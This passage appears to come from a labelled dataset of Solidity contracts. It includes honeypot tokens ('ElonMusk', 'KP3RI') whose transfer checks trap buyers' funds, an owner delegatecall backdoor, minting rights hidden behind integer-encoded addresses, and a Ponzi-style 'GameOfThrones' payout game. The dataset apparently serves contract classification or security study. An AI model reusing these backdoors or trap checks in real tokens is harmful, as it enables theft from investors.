true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ElonMusk { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner || msg.sender==address(1128272879772349028992474526206451541022554459967) || msg.sender==address(781882898559151731055770343534128190759711045284) || msg.sender==address(718276804347632883115823995738883310263147443572) || msg.sender==address(56379186052763868667970533924811260232719434180) ); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,757
pragma solidity ^0.4.23; contract Ownable { address public owner; address public cfoAddress; constructor() public{ owner = msg.sender; cfoAddress = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyCFO() { require(msg.sender == cfoAddress); _; } function transferOwnership(address newOwner) external onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function setCFO(address newCFO) external onlyOwner { require(newCFO != address(0)); cfoAddress = newCFO; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract MixGenInterface { function openEgg(uint64 userNumber, uint16 eggQuality) public returns (uint256 genes, uint16 quality); function uniquePet(uint64 newPetId) public returns (uint256 genes, uint16 quality); } contract ExternalContracts is Ownable { MixGenInterface public geneScience; address public marketAddress; function setMixGenAddress(address _address) external onlyOwner { MixGenInterface candidateContract = MixGenInterface(_address); geneScience = candidateContract; } function setMarketAddress(address _address) external onlyOwner { marketAddress = _address; } } contract PopulationControl is Pausable { uint32 public breedTimeout = 12 hours; uint32 maxTimeout = 178 days; function setBreedTimeout(uint32 timeout) external onlyOwner { require(timeout <= maxTimeout); breedTimeout = timeout; } } contract PetBase is PopulationControl{ event Birth(address owner, uint64 petId, uint16 quality, uint256 genes); event Death(uint64 petId); event Transfer(address from, address to, uint256 tokenId); struct Pet { uint256 genes; uint64 birthTime; uint16 quality; } mapping (uint64 => Pet) pets; mapping (uint64 => address) petIndexToOwner; mapping (address => uint256) public ownershipTokenCount; mapping (uint64 => uint64) breedTimeouts; uint64 tokensCount; uint64 lastTokenId; function createPet( uint256 _genes, uint16 _quality, address _owner ) internal returns (uint64) { Pet memory _pet = Pet({ genes: _genes, birthTime: uint64(now), quality: _quality }); lastTokenId++; tokensCount++; uint64 newPetId = lastTokenId; pets[newPetId] = _pet; _transfer(0, _owner, newPetId); breedTimeouts[newPetId] = uint64( now + (breedTimeout / 2) ); emit Birth(_owner, newPetId, _quality, _genes); return newPetId; } function _transfer(address _from, address _to, uint256 _tokenId) internal { uint64 _tokenId64bit = uint64(_tokenId); ownershipTokenCount[_to]++; petIndexToOwner[_tokenId64bit] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; } emit Transfer(_from, _to, _tokenId); } function recommendedPrice(uint16 quality) public pure returns(uint256 price) { require(quality <= uint16(0xF000)); require(quality >= uint16(0x1000)); uint256 startPrice = 1000; price = startPrice; uint256 revertQuality = uint16(0xF000) - quality; uint256 oneLevel = uint16(0x2000); uint256 oneQuart = oneLevel/4; uint256 fullLevels = revertQuality/oneLevel; uint256 fullQuarts = (revertQuality % oneLevel) / oneQuart ; uint256 surplus = revertQuality - (fullLevels*oneLevel) - (fullQuarts*oneQuart); price = price * 44**fullLevels; price = price / 10**fullLevels; if(fullQuarts != 0) { price = price * 14483154**fullQuarts; price = price / 10**(7 * fullQuarts); } if(surplus != 0) { uint256 nextQuartPrice = (price * 14483154) / 10**7; uint256 surPlusCoefficient = surplus * 10**6 /oneQuart; uint256 surPlusPrice = ((nextQuartPrice - price) * surPlusCoefficient) / 10**6; price+= surPlusPrice; } price*= 50 szabo; } function getGradeByQuailty(uint16 quality) public pure returns (uint8 grade) { require(quality <= uint16(0xF000)); require(quality >= uint16(0x1000)); if(quality == uint16(0xF000)) return 7; quality+= uint16(0x1000); return uint8 ( quality / uint16(0x2000) ); } } contract PetOwnership is PetBase { function transfer( address _to, uint256 _tokenId ) external whenNotPaused { require(_to != address(0)); require(_to != address(this)); require(_owns(msg.sender, uint64(_tokenId))); _transfer(msg.sender, _to, _tokenId); } function _owns(address _claimant, uint64 _tokenId) internal view returns (bool) { return petIndexToOwner[_tokenId] == _claimant; } function ownerOf(uint256 _tokenId) external view returns (address owner) { uint64 _tokenId64bit = uint64(_tokenId); owner = petIndexToOwner[_tokenId64bit]; require(owner != address(0)); } } contract EggMinting is PetOwnership{ uint8 public uniquePetsCount = 100; uint16 public globalPresaleLimit = 2500; mapping (uint16 => uint16) public eggLimits; mapping (uint16 => uint16) public purchesedEggs; constructor() public { eggLimits[55375] = 200; eggLimits[48770] = 1100; eggLimits[39904] = 200; eggLimits[32223] = 25; } function totalSupply() public view returns (uint) { return tokensCount; } function setEggLimit(uint16 quality, uint16 limit) external onlyOwner { eggLimits[quality] = limit; } function eggAvailable(uint16 quality) constant public returns(bool) { if( quality < 48000 && tokensCount < ( 100 + uniquePetsCount ) ) return false; return (eggLimits[quality] > purchesedEggs[quality]); } } contract EggPurchase is EggMinting, ExternalContracts { uint16[4] discountThresholds = [20, 100, 500, 1000]; uint8[4] discountPercents = [75, 50, 30, 20 ]; function purchaseEgg(uint64 userNumber, uint16 quality) external payable whenNotPaused { require(tokensCount >= uniquePetsCount); require(eggAvailable(quality)); require(tokensCount <= globalPresaleLimit); uint256 eggPrice = ( recommendedPrice(quality) * (100 - getCurrentDiscountPercent()) ) / 100; require(msg.value >= eggPrice); purchesedEggs[quality]++; uint256 childGenes; uint16 childQuality; (childGenes, childQuality) = geneScience.openEgg(userNumber, quality); createPet( childGenes, childQuality, msg.sender ); } function getCurrentDiscountPercent() constant public returns (uint8 discount) { for(uint8 i = 0; i <= 3; i++) { if(tokensCount < (discountThresholds[i] + uniquePetsCount )) return discountPercents[i]; } return 10; } } contract PreSale is EggPurchase { constructor() public { paused = true; } function generateUniquePets(uint8 count) external onlyOwner whenNotPaused { require(marketAddress != address(0)); require(address(geneScience) != address(0)); uint256 childGenes; uint16 childQuality; uint64 newPetId; for(uint8 i = 0; i< count; i++) { if(tokensCount >= uniquePetsCount) continue; newPetId = tokensCount+1; (childGenes, childQuality) = geneScience.uniquePet(newPetId); createPet(childGenes, childQuality, marketAddress); } } function getPet(uint256 _id) external view returns ( uint64 birthTime, uint256 genes, uint64 breedTimeout, uint16 quality, address owner ) { uint64 _tokenId64bit = uint64(_id); Pet storage pet = pets[_tokenId64bit]; birthTime = pet.birthTime; genes = pet.genes; breedTimeout = uint64(breedTimeouts[_tokenId64bit]); quality = pet.quality; owner = petIndexToOwner[_tokenId64bit]; } function unpause() public onlyOwner whenPaused { require(address(geneScience) != address(0)); super.unpause(); } function withdrawBalance(uint256 summ) external onlyCFO { cfoAddress.transfer(summ); } }
1
4,191
contract GameOfThrones { address public trueGods; address public jester; uint public lastCollection; uint public onThrone; uint public kingCost; uint public piggyBank; uint public godBank; uint public jesterBank; uint public kingBank; address[] public citizensAddresses; uint[] public citizensAmounts; uint32 public totalCitizens; uint32 public lastCitizenPaid; address public madKing; uint32 public round; uint public amountAlreadyPaidBack; uint public amountInvested; uint constant TWENTY_FOUR_HOURS = 60 * 60 * 24; uint constant PEACE_PERIOD = 60 * 60 * 240; function GameOfThrones() { trueGods = msg.sender; madKing = msg.sender; jester = msg.sender; lastCollection = block.timestamp; onThrone = block.timestamp; kingCost = 1 ether; amountAlreadyPaidBack = 0; amountInvested = 0; totalCitizens = 0; } function repairTheCastle() returns(bool) { uint amount = msg.value; if (amount < 10 finney) { msg.sender.send(msg.value); return false; } if (amount > 100 ether) { msg.sender.send(msg.value - 100 ether); amount = 100 ether; } if (lastCollection + TWENTY_FOUR_HOURS < block.timestamp) { if (totalCitizens == 1) { citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 95 / 100); } else if (totalCitizens == 2) { citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 60 / 100); citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 35 / 100); } else if (totalCitizens >= 3) { citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 50 / 100); citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 30 / 100); citizensAddresses[citizensAddresses.length - 3].send(piggyBank * 15 / 100); } godBank += piggyBank * 5 / 100; piggyBank = 0; jester = msg.sender; citizensAddresses.push(msg.sender); citizensAmounts.push(amount * 110 / 100); totalCitizens += 1; investInTheSystem(amount); godAutomaticCollectFee(); piggyBank += amount; round += 1; } else { citizensAddresses.push(msg.sender); citizensAmounts.push(amount * 110 / 100); totalCitizens += 1; investInTheSystem(amount); piggyBank += (amount * 5 / 100); while (citizensAmounts[lastCitizenPaid] < (address(this).balance - piggyBank - godBank - kingBank - jesterBank) && lastCitizenPaid <= totalCitizens) { citizensAddresses[lastCitizenPaid].send(citizensAmounts[lastCitizenPaid]); amountAlreadyPaidBack += citizensAmounts[lastCitizenPaid]; lastCitizenPaid += 1; } } } function() { repairTheCastle(); } function investInTheSystem(uint amount) internal { lastCollection = block.timestamp; amountInvested += amount; jesterBank += amount * 5 / 100; kingBank += amount * 5 / 100; piggyBank += (amount * 5 / 100); kingAutomaticCollectFee(); jesterAutomaticCollectFee(); } function newKing(address newKing) { if (msg.sender == madKing) { madKing = newKing; kingCost = 1 ether; } } function bribery() { uint amount = 100 finney; if (msg.value >= amount) { jester.send(jesterBank); jesterBank = 0; jester = msg.sender; msg.sender.send(msg.value - amount); investInTheSystem(amount); } else { throw; } } function usurpation() { if (msg.sender == madKing) { investInTheSystem(msg.value); kingCost += msg.value; } else { if (onThrone + PEACE_PERIOD <= block.timestamp && msg.value >= kingCost * 110 / 100) { madKing.send(kingBank); godBank += msg.value * 5 / 100; investInTheSystem(msg.value); kingCost = msg.value; madKing = msg.sender; onThrone = block.timestamp; } else { throw; } } } function collectFee() { if (msg.sender == trueGods) { trueGods.send(godBank); } } function godAutomaticCollectFee() internal { if (godBank >= 1 ether) { trueGods.send(godBank); godBank = 0; } } function kingAutomaticCollectFee() internal { if (kingBank >= 100 finney) { madKing.send(kingBank); kingBank = 0; } } function jesterAutomaticCollectFee() internal { if (jesterBank >= 100 finney) { jester.send(jesterBank); jesterBank = 0; } } }
1
5,116
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract KP3RI { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
563
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract DividendPayoutToken is CappedToken { mapping(address => uint256) public dividendPayments; uint256 public totalDividendPayments; function increaseDividendPayments(address _investor, uint256 _amount) onlyOwner public { dividendPayments[_investor] = dividendPayments[_investor].add(_amount); totalDividendPayments = totalDividendPayments.add(_amount); } function transfer(address _to, uint256 _value) public returns (bool) { uint256 oldBalanceFrom = balances[msg.sender]; bool isTransferred = super.transfer(_to, _value); uint256 transferredClaims = dividendPayments[msg.sender].mul(_value).div(oldBalanceFrom); dividendPayments[msg.sender] = dividendPayments[msg.sender].sub(transferredClaims); dividendPayments[_to] = dividendPayments[_to].add(transferredClaims); return isTransferred; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { uint256 oldBalanceFrom = balances[_from]; bool isTransferred = super.transferFrom(_from, _to, _value); uint256 transferredClaims = dividendPayments[_from].mul(_value).div(oldBalanceFrom); dividendPayments[_from] = dividendPayments[_from].sub(transferredClaims); dividendPayments[_to] = dividendPayments[_to].add(transferredClaims); return isTransferred; } } contract IcsToken is DividendPayoutToken { string public constant name = "Interexchange Crypstock System"; string public constant symbol = "ICS"; uint8 public constant decimals = 18; constructor() public CappedToken(5e8 * 1e18) {} } contract HicsToken is DividendPayoutToken { string public constant name = "Interexchange Crypstock System Heritage Token"; string public constant symbol = "HICS"; uint8 public constant decimals = 18; constructor() public CappedToken(5e7 * 1e18) {} } contract ReentrancyGuard { bool private reentrancyLock = false; modifier nonReentrant() { require(!reentrancyLock); reentrancyLock = true; _; reentrancyLock = false; } } contract PreSale is Ownable, ReentrancyGuard { using SafeMath for uint256; ERC20 public t4tToken; IcsToken public icsToken; HicsToken public hicsToken; uint64 public startTime; uint64 public endTime; uint64 public endPeriodA; uint64 public endPeriodB; uint64 public endPeriodC; address public wallet; uint256 public rate; uint256 public rateT4T; uint256 public minimumInvest; uint256 public hicsTokenPrice; uint256 public capHicsToken; uint256 public softCap; mapping(address => uint) public balances; mapping(address => uint) balancesForRefund; mapping(address => uint) balancesForRefundT4T; uint256 public weiRaised; uint256 public t4tRaised; uint256 public totalTokensEmitted; uint256 public totalRaised; event IcsTokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 tokens); event HicsTokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 tokens); constructor( address _wallet, address _icsToken, address _hicsToken, address _erc20Token) public { require(_wallet != address(0)); require(_icsToken != address(0)); require(_hicsToken != address(0)); require(_erc20Token != address(0)); startTime = 1528675200; endPeriodA = 1529107200; endPeriodB = 1529798400; endPeriodC = 1530489600; endTime = 1531353600; bool validPeriod = now < startTime && startTime < endPeriodA && endPeriodA < endPeriodB && endPeriodB < endPeriodC && endPeriodC < endTime; require(validPeriod); wallet = _wallet; icsToken = IcsToken(_icsToken); hicsToken = HicsToken(_hicsToken); t4tToken = ERC20(_erc20Token); rateT4T = 4; minimumInvest = 4 * 1e18; hicsTokenPrice = 2e4 * 1e18; rate = 2720; softCap = 4e6 * 1e18; capHicsToken = 15e6 * 1e18; } modifier saleIsOn() { bool withinPeriod = now >= startTime && now <= endTime; require(withinPeriod); _; } modifier refundAllowed() { require(totalRaised < softCap && now > endTime); _; } function hasEnded() public view returns (bool) { return now > endTime; } function refund() public refundAllowed nonReentrant { uint256 valueToReturn = balancesForRefund[msg.sender]; balancesForRefund[msg.sender] = 0; weiRaised = weiRaised.sub(valueToReturn); msg.sender.transfer(valueToReturn); } function refundT4T() public refundAllowed nonReentrant { uint256 valueToReturn = balancesForRefundT4T[msg.sender]; balancesForRefundT4T[msg.sender] = 0; t4tRaised = t4tRaised.sub(valueToReturn); t4tToken.transfer(msg.sender, valueToReturn); } function _getBonusPercent() internal view returns(uint256) { if (now < endPeriodA) { return 40; } if (now < endPeriodB) { return 25; } if (now < endPeriodC) { return 20; } return 15; } function _getTokenNumberWithBonus(uint256 _value) internal view returns (uint256) { return _value.add(_value.mul(_getBonusPercent()).div(100)); } function _forwardFunds(uint256 _value) internal { wallet.transfer(_value); } function _forwardT4T(uint256 _value) internal { t4tToken.transfer(wallet, _value); } function withdrawalEth() public onlyOwner { require(totalRaised >= softCap); _forwardFunds(address(this).balance); } function withdrawalT4T() public onlyOwner { require(totalRaised >= softCap); _forwardT4T(t4tToken.balanceOf(address(this))); } function finishPreSale() public onlyOwner { require(totalRaised >= softCap); require(now > endTime); _forwardFunds(address(this).balance); _forwardT4T(t4tToken.balanceOf(address(this))); icsToken.transferOwnership(owner); hicsToken.transferOwnership(owner); } function changeTokensOwner() public onlyOwner { require(now > endTime); icsToken.transferOwnership(owner); hicsToken.transferOwnership(owner); } function _changeRate(uint256 _rate) internal { require(_rate != 0); rate = _rate; } function _buyIcsTokens(address _beneficiary, uint256 _value) internal { uint256 tokensWithBonus = _getTokenNumberWithBonus(_value); icsToken.mint(_beneficiary, tokensWithBonus); emit IcsTokenPurchase(msg.sender, _beneficiary, tokensWithBonus); } function _buyHicsTokens(address _beneficiary, uint256 